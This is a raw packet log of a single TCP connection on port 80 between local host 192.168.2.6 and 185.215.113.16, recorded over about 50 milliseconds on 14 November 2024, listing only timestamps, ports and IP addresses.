Nov 14, 2024 17:24:39.866628885 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866640091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866651058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866655111 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.866662025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866672039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866676092 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.866683006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866693020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866704941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866708040 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.866715908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866727114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.866731882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.866731882 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.867057085 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.867336035 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.867347002 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.867393970 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.874881983 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.879942894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.879987001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.879998922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880090952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880101919 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880112886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880119085 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880122900 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880181074 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880181074 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880369902 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880381107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880390882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880402088 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880412102 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880424023 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880429029 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880429983 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880440950 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880441904 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880451918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880465984 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880644083 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880824089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880835056 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880846977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880856991 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880867004 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880877972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880906105 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880908012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880919933 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880929947 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880934954 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880939960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880949974 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880955935 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880963087 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880974054 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880985022 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.880990028 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880990028 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.880995989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881006956 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881017923 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881026983 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881036043 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.881036043 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.881270885 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.881813049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881834984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881845951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881858110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881867886 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881877899 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881887913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881892920 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.881900072 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881908894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881917953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881926060 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.881928921 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881937981 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881944895 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.881948948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881959915 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881969929 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881978989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.881984949 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.881992102 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882002115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882005930 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.882013083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882025003 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882050991 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.882327080 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.882864952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882882118 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882893085 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882905006 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882914066 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882925987 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882927895 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.882936001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882945061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882953882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882963896 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882971048 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.882975101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882985115 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882988930 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.882996082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.882997990 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883006096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883016109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883021116 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883027077 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883037090 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883042097 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883048058 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883059978 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883064032 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883085966 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883666039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883682013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883692980 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883703947 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883712053 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883714914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883725882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883734941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883744955 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883747101 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883757114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883768082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883768082 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883776903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883786917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883796930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883807898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883812904 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883814096 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883814096 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883817911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883822918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883829117 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883838892 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.883846045 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.883975029 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.884597063 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884624958 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884634972 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884644985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884654999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884665966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884675980 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884682894 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.884686947 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884697914 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884707928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884713888 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.884718895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884728909 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884733915 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.884740114 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884749889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884759903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884771109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884776115 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.884779930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884792089 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884807110 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.884820938 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.884820938 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.884820938 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.884988070 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.885534048 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885560989 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885571957 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885582924 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885591984 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885602951 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885612011 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885622978 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885633945 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885643959 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885644913 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.885653019 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.885654926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885665894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885674953 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.885677099 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885687113 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885695934 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.885698080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885710955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885714054 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.885721922 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885732889 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885735989 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.885742903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.885757923 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.885821104 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.886337042 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.886348009 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.886491060 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.910851002 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.912411928 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.912512064 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.912523031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.912542105 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.912568092 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.912578106 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.912586927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.912594080 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.912596941 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.912616014 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.912966013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.912997007 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.915621042 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.915875912 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.915884018 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.915903091 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.916038036 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916047096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916055918 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916066885 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.916107893 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916116953 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916122913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916126013 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916150093 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.916240931 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916249037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916254044 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916256905 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.916259050 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916275024 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916285038 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916294098 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916307926 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.916477919 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.916589022 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916598082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916606903 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916616917 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916625977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916634083 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916644096 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916657925 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.916673899 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.916779041 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916868925 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916877985 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916886091 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916894913 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916904926 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.916918993 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.917098999 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917107105 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917115927 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917121887 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.917124033 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917135000 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917144060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917152882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917160034 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.917222023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.917222023 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.917298079 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917387962 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917433977 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917443037 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917452097 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917558908 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917583942 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.917650938 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917660952 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917670012 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917680979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917689085 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917697906 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.917701960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917722940 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.917881966 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917891979 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.917912960 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918006897 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918102026 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918112993 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918123960 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918133020 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918142080 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918149948 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918159008 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918169022 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918178082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918178082 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918189049 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918212891 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918303013 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918697119 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918706894 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918715000 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918724060 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918734074 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918742895 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918751001 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918757915 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918760061 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918771029 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918771982 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918796062 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918837070 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918848038 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918859959 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918934107 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918943882 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918952942 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918962955 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918963909 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918972015 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918982983 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.918984890 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.918992043 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919020891 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.919090986 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.919260025 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919270039 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919362068 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.919372082 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919382095 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919392109 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919400930 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919411898 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919421911 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919430971 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919440031 CET	80	49830	185.215.113.16	192.168.2.6
Nov 14, 2024 17:24:39.919451952 CET	49830	80	192.168.2.6	185.215.113.16
Nov 14, 2024 17:24:39.919487000 CET	49830	80	192.168.2.6	185.215.113.16
